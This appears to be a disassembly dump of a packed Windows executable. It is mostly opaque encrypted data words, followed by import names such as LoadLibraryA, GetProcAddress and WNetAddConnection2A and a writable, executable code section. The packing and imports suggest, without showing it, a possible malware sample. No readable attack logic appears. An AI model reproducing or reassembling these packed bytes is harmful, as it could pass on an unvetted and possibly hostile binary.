8F183652h, 9934A205h dd 553989B8h, 65ED6AD5h, 3ED4CDAh, 8CFBC491h, 0B591A00Ch dd 455E9EADh, 64EB2C7h, 342377Ch, 3AD637ECh, 856B1CC1h dd 0FD71157Dh, 0EC675291h, 923C67FDh, 0D9A67579h, 0CE678724h dd 9F2AD25Fh, 0C7584F37h, 2D226102h, 20D286B2h, 0AF89D3AFh dd 0ACBC16DEh, 9FDA0404h, 9A39DD67h, 0C5A9BC69h, 0C66827B2h dd 73EA76D1h, 8F2B82Ah, 9BD1E325h, 0AAD0985Dh, 0D191FBC3h dd 0C381BB8Dh, 82498F4Ch, 28508003h, 0CBCD575Eh, 0FB7E57C5h dd 2AB01599h, 357E74BEh, 7522943Fh, 0F1C18490h, 0BDB41532h dd 1BBEA3D7h, 2B88ABEAh, 0EC04E9DDh, 13CC5D5Eh, 0C7FBFB5Fh dd 816D9C97h, 0EABDF5BFh, 32D607ECh, 0DFBEB8B5h, 3EFF6302h dd 528410EEh, 24C2FC8Ah, 98E164FBh, 31B507Eh, 14F90593h dd 54172568h, 6109472Eh, 0B5376725h, 0FD39D1ACh, 24A57EAEh dd 5C773E9Ch, 0DAECDB21h, 13462D3Bh, 3D52ABB9h, 26754EF9h dd 53D578BBh, 37DF1F2h, 0E1D221E2h, 801D501Ch, 0D2D091AFh dd 23AAF041h, 6C9467A5h, 0BC264C14h, 62167F4Dh, 0A5BFA7FAh dd 3EC855DCh, 175F0E11h, 0BE8D30F2h, 0B4013A78h, 0E62D81A6h dd 0FD317062h, 0A31871EBh, 90C95D67h, 0B376CB07h, 507ACCF0h dd 0BE471628h, 9EE23ED8h, 72FE48E4h, 0F22AE627h, 1EB03F25h dd 0A4DC058Bh, 4CCA9BCBh, 0CE23145Ch, 84765DF5h, 8AF341F7h dd 0E6367905h, 0C859D96Ah, 22015F6h, 94E8B518h, 0F2ADAC87h dd 0E75D4057h, 9D887D6Eh, 9F0AF6B9h, 0A1FF8D22h, 0F2199516h dd 0A5BFA3CAh, 6FD7CC76h, 362B71BFh, 34A16B87h, 6780D3F0h dd 6382F33h, 0A1533FCCh, 4A5C4488h, 0A2049BF8h, 2E1F81C6h dd 0D2301CC7h, 35873AD3h, 58049EFBh, 447F17E2h, 232E6533h dd 0E11C2776h, 0D24FFD51h, 0F88BE9F2h, 30056308h, 0AF9F43AEh dd 3785886Dh, 0DBC32303h, 55935BB8h, 447086BAh, 0A7F88273h dd 7AB40F79h, 0D26A5320h, 85DFD3A6h, 0E75F0FB7h, 6849C118h dd 61924690h, 5C63535Ch, 2F519F05h, 0AFC81082h, 77B023A6h dd 1A5C9DB3h, 0B499FD65h, 79075D53h, 0ADD14F5h, 1EED0D1Bh dd 51574DD7h, 1080B2E1h, 0C2226BAh, 7F3753C7h, 4540BC5Bh dd 0F9299BF7h, 5DFEDE9Dh, 94487B11h, 0DB7B5AAFh, 0B2FD9202h dd 0C0DFDC8h, 0F5E8DC00h, 0AC41EF2Dh, 8B61A7Ch, 1E6BC58h dd 303A6F27h, 0C139003Ch, 1A9F8A62h, 3AFA95AFh, 5AFCCF3Fh dd 3D9515C2h, 299DD658h, 9833B525h, 0D8D48D68h, 964FE3E0h dd 0EA32BD5Ah, 78C0C212h, 4F5B291Bh, 52218D82h, 72FF4DCCh dd 0B45C8072h, 998D639Dh, 0E39D502Eh, 2C78B06Dh, 0FE8AD23h dd 10A8F16Dh, 4EC0DED6h, 9CF68B7Fh, 7FA3680Bh, 5D04257Bh dd 0E0B6F459h, 31464EFEh, 519684BCh, 1FABED01h, 600523C8h dd 149BB501h, 0A5F163BAh, 0F9115FCFh, 24C3AAEh, 0A7A5372Dh dd 9B7A32AAh, 35A94ED9h, 707480Ch, 0E44FE8BBh, 0ACAC6EE6h dd 75848B8h, 52628E5Bh, 0F763C787h, 925C385Fh, 0B95407DDh dd 992A490Bh, 0C3E9FDBDh, 0C9B343BAh, 0F268D1F7h, 1BBD436Fh dd 6E30046Fh, 0EB1F43E8h, 63B8D90Ah, 0FDDE9314h, 2A14848h dd 0BB1AC387h, 0B3B7B17Ch, 7F48C24Dh, 0ACA47741h, 7E60D05h dd 0D865C1B4h, 9CA4DA39h, 0CA1B2D4h, 850F23D7h, 0B395EB11h dd 25E46498h, 8BD72E00h, 9746E464h, 963BDF20h, 479B2A7Dh dd 9AB42692h, 81044F54h dd 78CD69Bh, 48DC2491h, 0C5AA0F7Eh, 0EB11155Dh, 0FBFF6904h dd 0DC106A3Eh, 7C55C4D3h, 83C8DB2Ah, 0D6886753h, 0A50717E3h dd 0EDB75CFh, 3DC29084h, 0A3E2AC63h, 1CEF089Fh, 1171E482h dd 0B508ADE2h, 4AF7B25h, 4E788288h, 0F999572Ah, 7B8BD651h dd 0B6EFFCFEh, 16FB25E4h, 860FC377h, 2AFD0DBEh, 20695B33h dd 1CB91670h, 59634444h, 0E612162h, 0C15AC725h, 26CB6A7Ch dd 80840A50h, 0BB112115h, 88012487h, 21C8C55Bh, 4119912Ch dd 0B7AA0364h, 0CBB84494h, 378A0848h, 0EB2C5A52h, 0C2E51A4Ch dd 0F0A408E0h, 0CAB38CE6h, 6195FA0Ah, 881C7CEBh, 1541D1E6h dd 0EB5159F3h, 0AE66636Ah, 59CF4BDDh, 365FFEA8h, 0EC7FE7ACh dd 0AC31ED33h, 61F109E3h, 0EB565728h, 634353CCh, 1E52F69Eh dd 9370FDB1h, 0E9C4B44Eh, 0A2389C54h, 427D481h, 0F58ED0AAh dd 0EFF2BD5Eh, 607E89DFh, 0ABA332ACh, 0A2DA8D4h, 23240821h dd 41AC7C98h, 94E17C07h, 17D2BE68h, 1B8D8972h, 1E0E112Dh dd 0DDC2057Eh, 0ED80CDD6h, 0DF4DA868h, 0A28406B7h, 9E222702h dd 2384E251h, 79D7A6F5h, 48E44C34h, 6CBECB66h, 7A86FD9Dh dd 0D7FC21B6h, 40055E59h, 3C309739h, 32B03C2Bh, 22E6257Eh dd 8981F81Ah, 0D1240252h, 6CC5D5CCh, 0D3649223h, 73047CFBh dd 0C6CB351Ch, 39C1C522h, 98D43B54h, 0A55A20E2h, 964BBD0Fh dd 48798DD7h, 9EBA5C83h, 0B205939h, 0EA7E6C3Eh, 1057C7E6h dd 0AC938E99h, 25CC0899h, 0B9FDEC2Fh, 0E1A0926Dh, 0E5206F0Fh dd 0EE75C72Bh, 6C432C2Ah, 0C98E7470h, 0A0BF4EE4h, 97BF0CD6h dd 0ABD4AD5Bh, 7464EB8h, 1AAD13FCh, 0A826683Dh, 0F7FED207h dd 0B7306895h, 269C4B01h, 896F580Ah, 0A9A112F4h, 0C65F6226h dd 67C42FECh, 58E938C3h, 369A89B7h, 0F49362FAh, 0C2DC3856h dd 0B9731DB9h, 5492519Dh, 0B68D1193h, 3A343BA8h, 0B9D1921Eh dd 0B7D2690h, 7BAFAEE8h, 5FE2795Bh, 9953DBA9h, 12D9F527h dd 0BF2BCA60h, 0C9A894CFh, 24DA8106h, 65C31A7Dh, 0E0768BEEh dd 17174A3Dh, 0C4C11B47h, 67043797h, 13C14CD3h, 0CE399B97h dd 0A18EB994h, 0AD98F6B0h, 0B1BB3531h, 23DC1276h, 5778EA7Fh dd 8B6CAD4Ah, 0AC0558E7h, 1F5CADF3h, 0F1251133h, 7FB015FAh dd 0C54C8376h, 37016B90h, 0FDAEDEA1h, 1C25140Ah, 5ECB5335h dd 2E02A842h, 0BF5ACB61h, 3F09749h, 7E10ED9Eh, 0BAE5E4CBh dd 0C1CC463Bh, 0C23FC0B4h, 57DED441h, 85724393h, 930E10F4h dd 0B33A7478h, 0B2957F9Ah, 68162D0Eh, 0F521D6EAh, 63C43BDh dd 5572A457h, 0AB6BE809h, 211C1CABh, 0AE38F6DEh, 55EC49E8h dd 0F16E50E7h, 6A504E81h, 68984C6Ah, 0ABBEC815h, 60C53690h dd 0C202D524h, 0A089FE1Ah, 7AD0B942h, 9D1C02ABh, 2D2AEB83h dd 84A69B55h, 0B68B7359h, 2FF24C49h, 8D46A98Fh, 4BECD17h dd 58B99569h, 23E37E74h, 0A6A4D1F4h, 4C60FFE5h, 70107713h dd 20F64B7h, 8809FD93h, 93EA3B8Bh, 460DDE57h, 39995645h dd 0BAA292CEh, 53C42DCBh, 0DDA0CA4Bh, 8A4C6A30h, 1ACAC122h dd 0BB3F1C8Ch, 0BFBBB4C7h, 41C32031h, 0C9036350h, 0CDA432D7h dd 0F7C36E42h, 1B4BFEFEh, 45129138h, 0E4BA4477h, 33CF55A6h dd 94F31ADBh, 0BDF51C7Ch, 11852130h, 0BAAE0352h, 0C54BB347h dd 1122F4F5h, 6518C22h, 0CF49F049h, 39CCA3DEh, 0DE4D7E30h dd 0C0C3629Bh, 7ED0F4CEh, 106EA613h, 0A1863854h, 0DEBB35DBh dd 8ED9A961h, 6CED750Fh, 3653C55Ah, 0DC7CC9E3h, 3880A1ABh dd 927CB9E7h, 0A5EEBEFh, 412BE410h, 87A82C3h, 8B55F3CFh dd 6C9A5A46h, 8E86FD01h, 53492D2Ah, 0B9600626h, 0B969AAE2h dd 0E11160ECh, 11F8862Ah, 9A7AB7A7h, 284DE545h, 53CBAC37h dd 0BF96F04Ah, 7BA64B89h, 672ABE4Fh, 43F92251h, 0B0223AE4h dd 0D18634D2h, 0B9F2ED74h, 0CBF03C80h, 0D40CD96Ah, 77DF912Dh dd 0F9962469h, 3A2526BAh, 0D2C3CF3Fh, 74727B78h, 0F5E9FFD6h dd 0E6E2EF37h, 856C3337h, 0DA4CC8B2h, 4633083Bh, 84D151DBh dd 0D1B11462h, 0F8DA2162h, 0B8CFEE34h, 1A649272h, 0A94FE473h dd 4F97996Eh, 89391F97h, 78421703h, 0FEEF76BFh, 7597EA81h dd 0A503C8A1h, 0E89E5CFBh, 0E5D07523h, 0A9393D3Bh, 324E4DCAh dd 9F4E817Fh, 0D9EF5AA7h, 548DCA1Ch, 0A0D7AA69h, 1EDAFBB1h dd 0FF1638FFh, 0FFB76E73h, 0F7A7E2B4h, 4146FEDh, 242D5665h dd 4FE56B36h, 580E3905h, 84CA9E3Dh, 8B16A59Fh, 7B3D366Dh dd 2E458E2Eh, 8FE076D5h, 0B26240Ah, 0B366E562h, 0EDAC802Dh dd 0A766F54Fh, 0FE841DEFh, 0B7D072E0h, 18785694h, 395B77CFh dd 5E902F4Bh, 0E628EFB7h, 0D127BF5h, 1D606A34h, 0E75181E7h dd 1B31EC6Bh, 703E4AECh, 0F2489002h, 3CE5DD17h, 69F4E25Eh dd 9E553F0Fh, 2DD696C8h, 34354DDCh, 0D4C7FA63h, 29F1A2C5h dd 0A823FDDh, 0FB7FC62Ch, 27B2388Fh, 9850ED25h, 0C3DE465Fh dd 0BB4FA558h, 20B45039h, 0DE8F8718h, 94492832h, 0C00015Eh dd 780413B6h, 58A28C95h, 90814565h, 0F5985AE7h, 0BEE8EF04h dd 0EBED445Eh, 39D81919h, 331E4EF2h, 39CD5341h, 7C5C6B9Eh dd 2CBF5B0Ch, 74991A12h, 9BA09141h, 325C7BC3h, 94EC58FFh dd 2E25491Dh, 5EE3D85Dh, 77796FF9h, 0F502E923h, 0DEE2D50Dh dd 8913C4ACh, 723A879Ch, 0CB5A86AAh, 3FFC558Ah, 0F0A9A7Ah dd 0F3C0E6Fh, 1894D73Ch, 6231C00Ch, 66B0466Ah, 9FD12AD7h dd 0F029C584h, 16FFDF8Ah, 711BCC4Ch, 26F776C9h, 97F0E89Dh dd 135E7372h, 0BB06B682h, 0B4F018D1h, 83032620h, 75F4E69Ah dd 0AB98EFAFh, 276A2FB1h, 74DED5Ah, 0F79FBF98h, 7A40C085h dd 320E5E84h, 4946CDBAh, 0CFC3931Eh, 0AF38054Ah, 0A684083Dh dd 0FD1446B2h, 0BF52C694h, 0E7E2082Eh, 0D3F1B34Fh, 618DFE32h dd 55DEE301h, 8D46CCDBh, 4E211197h, 69E93297h, 0FF1EEB09h dd 3C4822ECh, 584887C7h, 0FDBFA1BEh, 0BEE80788h, 324E0ABBh dd 8DD41C70h, 6ABD9022h, 0FC1CFAAAh, 0BABA90C2h, 7F332122h dd 6A12D2AEh, 25C4642h, 0F72ECE6Eh, 35029DFCh, 990E2D4Dh dd 76F88F7Fh, 0FAD14A60h, 0F6D4307Dh, 75507708h, 0AB036780h dd 0D5FCC15h, 1DAE4E8Bh, 1F25C219h, 0E0A1C873h, 0D62F97EAh dd 351057F6h, 4621F2EDh, 0ED8F90Ah, 1C8F88B7h, 0E69E1973h dd 390899C6h, 7F7D287Eh, 858C02ABh, 0EA192F20h, 598A257Dh dd 14B490D9h, 48672C3Eh, 0AFB8473Fh, 1C5AAF50h, 394E74F1h dd 0B41B8A6h, 3CBC09Eh, 0CA36840Bh, 7FC67D3Ah, 813E1CBCh dd 60D01CFAh, 0C5C49634h, 0D8A393C0h, 0C9CFA53Ah, 17E4CCDEh dd 4891B0ADh, 3391742Dh, 6A02ED5Bh, 0BE29786Eh, 0CF255AA1h dd 97F9CD8Eh, 51E64142h, 272FAEACh, 0A6BCF8EAh, 0E41FF26Fh dd 9F56CA53h, 25E6FEB6h, 952FD1C0h, 11627560h, 779DA897h dd 87E19E64h, 0CD46A45Bh, 1A2F7937h, 3B828F96h, 5D98DA6Bh dd 6CC88AC0h, 0BEE947F9h, 81CA1FEFh, 7451B87Ah, 762BB1D1h dd 0FDC30E9Eh, 26255834h, 70504E2Ch, 40611279h, 569C328Bh dd 5B62EBE2h, 0AAC8AE2Bh, 6B88C80Ch, 7209CCC5h, 99CC81F3h dd 20D229BBh, 1AB3DD61h, 0A51A34DCh, 0F3FC0643h, 4B011C6Eh dd 764CC2D9h, 87E468D7h, 830F42CDh, 616C7A1h, 0DA3CFF98h dd 5A9C377Dh, 3753B0Fh, 1ADAB60Ah, 0A80A015Bh, 4F5E0ADAh dd 0D13D6DFCh, 1069A04Ch, 37619AF6h, 260EA34Ch, 4054E40Eh dd 0E1BF23EDh, 0C395F0DBh, 0BBD68E10h, 0E081A681h, 116E92B7h dd 38F7625Eh, 0FD873F1Eh dd 3A992637h, 36C85130h, 26AA0B64h, 631CC8F8h, 0CC858B6h dd 5CAA883h, 63CC7001h, 92C9FB63h, 0DCBE98F2h, 0A1B04768h dd 0B63F71h, 6C39CE03h, 9F67462Eh, 0E3071A3h, 0A6A6EEA3h dd 3232149h, 2FE8F32h, 0F1499E49h, 0EC0C5225h, 0C6BBA460h dd 0F23C2305h, 0C3B94F1Ch, 0B1D0F618h, 5DED77D1h, 0B39B937Eh dd 9BDBAC26h, 3539484Ch, 0C5B57AD4h, 0E81D49F6h, 0CA1E16DDh dd 191922B0h, 3F99DDE9h, 8E1DAD2Ah, 973C252Fh, 5BD879ADh dd 0AEA5CD77h, 8EB9B83Eh, 0EDCFDC5Dh, 1DCF185Eh, 6E34F811h dd 0CACF3CAEh, 85D8AEBh, 0DE5F0F6Eh, 820D03F5h, 2F156115h dd 0C8AF8008h, 0C81D9C3h, 49B84F5Ch, 0DF1B798Ch, 5335076Bh dd 0BFB6D747h, 0C18878ABh, 60B927D1h, 0A73F0571h, 31B3463h dd 0B67843CEh, 0A1C13E96h, 75E48D3Fh, 0FA8D8C35h, 0FCA1958Fh dd 6D1E373h, 0E3557D12h, 4BAA75F5h, 0F479C96Bh, 6C53855h dd 4C22C40Eh, 0F9EBDE4Fh, 9C874D20h, 98C0306Fh, 3D2BBE7Bh dd 0CDF060FDh, 0AE351F45h, 0D8616099h, 1299C5E6h, 4B70B7D4h dd 37A4B7Dh, 0CCD16F58h, 6254BC50h, 0ED9E3B5Ah, 544B8136h dd 279B7992h, 0AF1B36E8h, 66B201A3h, 77017E61h, 7DEAD966h dd 0F0B7575h, 0C14488B1h, 0AED2959Dh, 589C5AE8h, 4CE8C482h dd 3EEF99FCh, 0B7FEAC9Eh, 51CDB063h, 0B0D0C0BBh, 0D1FC0C68h dd 4D1D6382h, 55B482E3h, 0AD7CDFC0h, 0A5A48053h, 4068B528h dd 0BA1A864h, 0BFA06EA4h, 5D74A1Eh, 0B99DA018h, 0C9FFBAB4h dd 3B7DD890h, 8BD88192h, 0A123304Bh, 0A9B1CEEFh, 78F5EC08h dd 0A309FB66h, 0A113DDC3h, 0C34DCE7Eh, 507A33F3h, 0F45E5923h dd 9CA2A39Ah, 0EDBBEB1Dh, 48CE5ED1h, 86816F47h, 9722A65Bh dd 289F3FC6h, 0B61E6C6h, 59539DDEh, 0CF843E19h, 97573FC0h dd 0F50A4FCFh, 26084DF9h, 14E8808Dh, 17CDC867h, 0D5B78420h dd 0D7613F89h, 0C7ECB9Fh, 3606ABF4h, 4128980Eh, 6A8467B2h dd 5C662BF5h, 0F2C1A08Ah, 0AF7B802Ah, 0CE8924F4h, 0BA4B666h dd 1461F3D1h, 0D66C5F2Dh, 0A60E462Dh, 0B964596Ch, 93638D28h dd 0F025A0D3h, 0FF5B9F41h, 0B6EAFE59h, 454B8A71h, 0E138FBCCh dd 0C86E61E0h, 0F7246956h, 0D7B03944h, 221EE109h, 3A0A4D61h dd 0B081BE5Eh, 7DDCB55Bh, 617CDFA0h, 671B74A2h, 52C83624h dd 79A4F21Bh, 5F188646h, 79620F12h, 0D64680A4h, 3738ADA3h dd 0C79DDCB9h, 0FA7D21Eh, 836E04A1h, 0D3153365h, 65D45F7Bh dd 530D22A5h, 7D4B1A6h, 0CB024EBFh, 0F0E7336Eh, 5ADF5ECDh dd 0D08821C0h, 0F27A8E99h, 46DF9B7Ah, 20F772F4h, 96DB98CFh dd 0AF108C8Eh, 6FAE43ECh, 22283B07h, 39C80604h, 0F758D957h dd 0F3D4F5B3h, 0EEB3120Ah, 0F8AB6AE3h, 4657ADDDh, 684E02Eh dd 2C03E847h, 26D648AAh, 6A8A3713h, 0BA308616h, 0DA20574Bh dd 993E043Eh, 0CBB0E626h, 41BC9A0Ch, 72E8B42Fh, 9FFD15Ch dd 9620DAC8h, 0AFE3A838h, 1EE2A5FCh, 0A143BA59h, 0A21B8F0Ch dd 0E4EC4B89h, 1A70BFBCh, 67060C14h, 0F341C9E2h, 5EEF448Dh dd 0A38A0918h, 45D56180h, 248B12D2h, 4816131Eh, 0BCC52E8Ch dd 0B59A4953h, 0D05EBE77h, 48CC693h, 231B1F5Eh, 51786E79h dd 22A61370h, 21FBC085h, 0D4A7DCDBh, 41A1BEEFh, 9A6BE7A8h dd 7DEA33C6h, 77C4AC44h, 5E75F94h, 0D3791593h, 0F061BE6h dd 0CCB4EC02h, 609F334Ch, 3EC8DE11h, 763327FFh, 0C9416FD5h dd 0D0332F1Ch, 0C6721571h, 0A434A15h, 65F6E0C3h, 0B6DB84E3h dd 989183ADh, 32764441h, 29DA8363h, 897672F1h, 0E813148Fh dd 6A949515h, 7CFED957h, 0AD915BAFh, 2E59CD07h, 7A4579EBh dd 84F7F275h, 3532E32h, 4E1231B4h, 6C70B120h, 0DF1967A4h dd 6B1B8DBBh, 6B2EB1D9h, 8D2A593Eh, 8F6FA1C6h, 9A2CE1ACh dd 3872721Fh, 97E8AD14h, 50039A02h, 0D16A767Ch, 54FF2F89h dd 99E32D1Fh, 0F1F34553h, 7ED45931h, 1F364DE8h, 0EB5352E9h dd 2A79E776h, 4B0EF5Ah, 8DF584E7h, 7763DF03h, 0CE32A806h dd 0BE828F00h, 5B7BE677h, 0C5462482h, 35824CD7h, 0A0C23B9Ch dd 96D94202h, 788B6CF4h, 3F459F07h, 0EA57B25Dh, 74A591F1h dd 4CCB48ADh, 69B3A7FBh, 88A98943h, 47A93F35h, 0AD125A22h dd 9A38DADAh, 11612D90h, 0C4EE1E1Ah, 0D108F318h, 0AFCC249Ah dd 70716DD5h, 82C789CFh, 0EB9640DEh, 6DA63E53h, 0D7EA7501h dd 2B5FD0AFh, 65860B5Dh, 0CD7A15BDh, 0B1BB416Fh, 8B5D9651h dd 0AFC16DD7h, 0CECCD76h, 53170657h, 0DB45E587h, 232FE8D3h dd 77B9843Eh, 0E7FCB628h, 9140E872h, 0A5C5F91Dh, 0B89FF9E7h dd 177ACC8Ch, 0FE9430D6h, 3B9EEAC1h, 6D59FE99h, 871C437Eh dd 694A0BEEh, 0D138EC02h, 0B3C1F397h, 1D06824Fh, 67EA71B4h dd 56168F07h, 0F02BC484h, 83AC74D4h, 920410B2h, 57D016F1h dd 41460F98h, 0C451412Fh, 3C0C14A3h, 4352A8F8h, 7094ABC4h dd 5828B69Ah, 3519B7Bh, 0DC93461Ch, 0F52032F1h, 5D328190h dd 0F450CECEh, 1CB5CE0Bh, 28C103DCh, 18606990h, 271C511Fh dd 0C9A042E6h, 4E0553ABh, 9C85EEAh, 0EAE2EB37h, 0B51EA76Ah dd 0FE33DF5Bh, 67213B4h, 981954CAh, 0B78B73B2h, 0C6696918h dd 0D4E1C0D4h, 7E82021Fh, 6DCB9EF7h, 0D734F008h, 0E74DEAB9h dd 2DDAA5CEh, 24E2B339h, 0C4A1B996h, 12DFE01Ch, 0AE78A0ECh dd 0E98410DAh, 0BE29A065h, 0EEB11A9Fh, 0E6077C51h, 4900044h dd 8CCDBD6Fh, 0B4F82F54h, 173985C5h, 5E03282Bh, 8C62F58Bh dd 0BA57F88Ah, 3313D623h, 5643DD00h, 665DEB54h, 16F2E8B8h dd 9A3D1F0Fh, 0CB45837h, 0D97764E7h, 963B1DFAh, 744D7B34h dd 7F590F72h, 5FE78C8Eh, 0CFB0C075h, 0F0B42EE9h, 42276BEAh dd 4C573A75h, 6646AC92h, 5D969DB1h, 8ECF1A6Dh, 3BF4BAC9h dd 0DA8FC1FBh, 0E0D97D4Ah, 8EBF2451h, 5BC36EAEh, 5397D5DCh dd 0E556047h, 0EF47820Eh, 0A95416E9h, 0F49AD3E3h, 9D76F7C6h dd 87683014h, 866CD3B2h, 0E7FC5305h, 0B06B3663h, 357266C6h dd 0B2D763A5h, 94D6C9C4h, 24819AE5h, 6471B9Ch, 0B2B2CFA2h dd 0FB916DA3h, 7EB9ECDEh, 5409FDE2h, 6F93C265h, 5694D2BAh dd 0FF4A6D64h, 3E380E97h, 830B83A2h, 796C422Eh, 26C62E65h dd 37B8779Bh, 6385A3BBh, 220B99EBh, 7431201h, 7AD54765h dd 0D1FE876Ah, 92F91B11h, 2AFC6778h, 0D67F6963h, 0DD0F1061h dd 0E724BCECh, 759835F7h, 0EA2875E3h, 65C2A7F7h, 594DB324h dd 3928D809h, 17A7A2A8h, 0F748C04h, 59F35390h, 563C439h dd 6BE84819h, 6E0B518Dh, 0EFA418A3h, 0F7DFF29Eh, 3E4AC569h dd 29BE42FDh, 0A2A854E1h, 0A9D661D3h, 78B337BFh, 56D2E0AAh dd 0A872351Bh, 0F2FC0E3Eh, 0B47D18B0h, 681592BEh, 0DCF47FD6h dd 0DEC6C54Ch, 86214BF8h, 782A906Ah, 16830CDAh, 4B174D94h dd 1BDC1B59h, 95F68316h, 7D202CEBh, 5A2CC51Dh, 0CAB56C6Eh dd 0C60B5C64h, 0EF30A1D0h, 9C2F460Fh, 7BE2EE6Eh, 0CE8FF90Ch dd 6B9FF10h, 9C808617h, 0D1F78879h, 8F77F800h, 0FE0540BFh dd 6C9D0737h, 82F1FBBEh, 6294FD40h, 3C1C34B3h, 0EC5989C8h dd 0C8DF066Dh, 0EE0EEE6Ch, 0AD836A88h, 90456D04h, 7F5F6D00h dd 56B3BA8Ch, 1AA4DCDFh, 0EEDC07E2h, 5ACA90F9h, 0F71883F2h dd 1C38F4F5h, 0F60F914Bh, 0D3FD6B6Ch, 335E511Bh, 9EF4B2B5h dd 15AD6A13h, 0EB77F299h, 0FEAAACBDh, 0C0777582h, 0E142B6F4h dd 0D6000043h, 0BA418E7Bh, 323BB871h, 5B3CC76Eh, 43064ED5h dd 0C39803F7h, 9FD1A62Ch dd 790D49F6h, 0A5B3C6A9h, 0EAFE7E09h, 0B26F93DEh, 49A73F8Ah dd 1DAD0EF8h, 2FD40095h, 0EBBE411h, 21318321h, 1CE04B8Bh dd 0CF21A424h, 0C0412C88h, 332D66CCh, 9751A75Fh, 78005DCAh dd 71DADB34h, 0B6EE62A5h, 378E0693h, 78179B23h, 9628EF22h dd 1A07CDBEh, 8823AB5Eh, 0EBFD0334h, 9FF9A26Ch, 32B48311h dd 2A01F2F8h, 0ECB61665h, 26C21C27h, 6D539A6Fh, 0FEF7FC91h dd 0C615EB6Eh, 21082155h, 0CE1573h, 5B1F5F39h, 2336D849h dd 12D0C4D4h, 15118870h, 3A4AD4D5h, 3DED261Fh, 3417154Fh dd 72DA60h, 6675ED13h, 0B34BC36h, 0B037D02Bh, 6A27E4D6h dd 0AF38BE4Fh, 7598D5EAh, 0C95F117Ch, 86B52DEEh, 1833948Dh dd 84AFAD94h, 0FFEFBF0h, 3C5F913Dh, 7829C64h, 8C85317Dh dd 883978C4h, 5B94F7BBh, 742C9DEEh, 630CACD0h, 0EC54D6AEh dd 0CB6403C0h, 1D8FA1BDh, 8F8B8287h, 0C92585D3h, 0BAECBBE7h dd 0B0D7A8C4h, 7312CF5Bh, 0BC87C2B2h, 0CEC94405h, 368574Bh dd 82E429B9h, 9AC54619h, 55848A16h, 3952A6DEh, 6FEE3FAAh dd 0A60EF70Eh, 7104F32Fh, 0FCBB983Fh, 5C3197CBh, 0BCE09AC7h dd 4E000E6Eh, 0AB5ADE52h, 9323737h, 86808195h, 4F6C42E8h dd 84DA9510h, 8705578h, 0A66239D6h, 3EEB819Dh, 0D955EA77h dd 0E6CF097Ch, 0EA9C3EE4h, 7B3FF560h, 44BBD378h, 640AFC7Fh dd 8057AA04h, 31B6B3D1h, 0CB49B9EAh, 9F201AFDh, 1940E256h dd 7C9F6848h, 1EF62C76h, 45C73CA3h, 28F44CCBh, 0A6B40AC1h dd 0BBE38D8Ch, 0C2DEE13Eh, 873F60Eh, 4C9088D5h, 27CAC84Dh dd 71D8D7AAh, 308F5074h, 931C7BA2h, 1772FC80h, 0CE2EEEC7h dd 625CD3F0h, 58FCD6C1h, 0A61A2C82h, 0A4CDA561h, 0DCA2BA03h dd 5F089332h, 82EAF031h, 3B8FE027h, 8849AAA6h, 83B1694Ch dd 1A6929DFh, 8C9E9095h, 29CC6544h, 0E77973B0h, 0D2E3A848h dd 70ED6CECh, 8EAA7D9Fh, 245FEA37h, 32E2E876h, 0CCA4971Bh dd 0C1D1FDC7h, 7A51CDE0h, 1398B7B8h, 0C9925BAEh, 3A15240Ah dd 39B97C6h, 0D253E796h, 0FC9DCDC7h, 99706DFh, 0DC58EA0Ah dd 81E902B6h, 9B308905h, 9404ADDh, 5FDF43C5h, 152EF5D6h dd 0A7AC5977h, 1428D2A5h, 4739A6F9h, 925BC4B8h, 28DAE88Dh dd 2A0A6FD3h, 0E9885382h, 45873712h, 4D577508h, 0ABB38CF3h dd 65827001h, 0E9138B7Dh, 0A9097DE7h, 8073E569h, 0CAD7C0CEh dd 0E31A2467h, 5E88705Eh, 4E8B3269h, 56A84DF0h, 65DE3A04h dd 4C9760BAh, 0A4A0D5DFh, 9AF21A01h, 0A5438A39h, 448DAE5Fh dd 2E279369h, 0B002D223h, 112E0791h, 33C7BEADh, 0E0D93B3Dh dd 68E180F1h, 7304882Ch, 581AA5F6h, 3022571Dh, 79CA2F72h dd 30137CADh, 723DD86Eh, 368CE34Ah, 0B493A901h, 6A04932Dh dd 0EB42DF15h, 0EC39F56Fh, 2F212140h, 3A477726h, 120004ADh dd 57497394h, 77D7E00Fh, 0D98A7469h, 4082FCAAh, 0B350BD0Eh dd 0C008FC70h, 0D8252C0Ah, 107CA820h, 0ACC3626Dh, 19640382h dd 47874653h, 8CB6B0AFh, 856DCE6Eh, 9368A969h, 0E9AC20AFh dd 5D82437Eh, 50D6FAEAh, 79D18145h, 6A8B7AA1h, 0FB23BF20h dd 18BC1FC7h, 7D0CA319h, 82822EADh, 0DF466587h, 137D5DE6h dd 0E89E63C4h, 30CBD44Eh, 0AE6D06F8h, 0D38B7815h, 0CCA2FAEDh dd 0E6EC83E0h, 6F61B4F9h, 78D87CFCh, 2F2C41F3h, 0BA236E98h dd 0B69F733Eh, 0D74D7616h, 40BE53DCh, 92D8A36Ah, 0D9CDE79Ch dd 0B62E1F90h, 85BD4948h, 5C0FB203h, 1C2709F7h, 500h dup(0) dd 14h, 0 dd 0E39FCh, 1D77A1A0h, 0C7C80h, 12h, 0Dh, 0E3AF5h, 71B2517Fh dd 120013h, 150000h, 3AFD0000h, 46C9000Eh, 571ABh, 12h dd 20h, 0E3B05h, 77126AEAh, 120013h, 2D0000h, 3B0D0000h dd 2A09000Eh, 0E7C81h, 4 dup(0) db 47h ; G db 65h, 74h, 50h db 72h ; r db 6Fh, 63h, 41h db 64h ; d db 64h, 72h, 65h db 73h ; s db 73h, 47h, 65h db 74h ; t db 4Dh, 6Fh, 64h db 75h ; u db 6Ch, 65h, 48h db 61h ; a db 6Eh, 64h, 6Ch db 65h ; e db 41h, 4Ch, 6Fh db 61h ; a db 64h, 4Ch, 69h db 62h ; b db 72h, 61h, 72h db 79h ; y db 41h, 57h, 4Eh db 65h ; e db 74h, 41h, 64h db 64h ; d db 43h, 6Fh, 6Eh db 6Eh ; n db 65h, 63h, 74h db 69h ; i db 6Fh, 6Eh, 32h db 41h ; A db 0FFh, 7, 0 db 0 aAvariantchange db '€VariantChangeTypeExRaiseException',0 align 1000h _nsp0 ends ; Section 2. (virtual address 00100000) ; Virtual size : 00039000 ( 233472.) ; Section size in file : 00039000 ( 233472.) ; Offset to raw data for section: 00100000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 500000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 0FF000h, 0 dd 400000h, 0 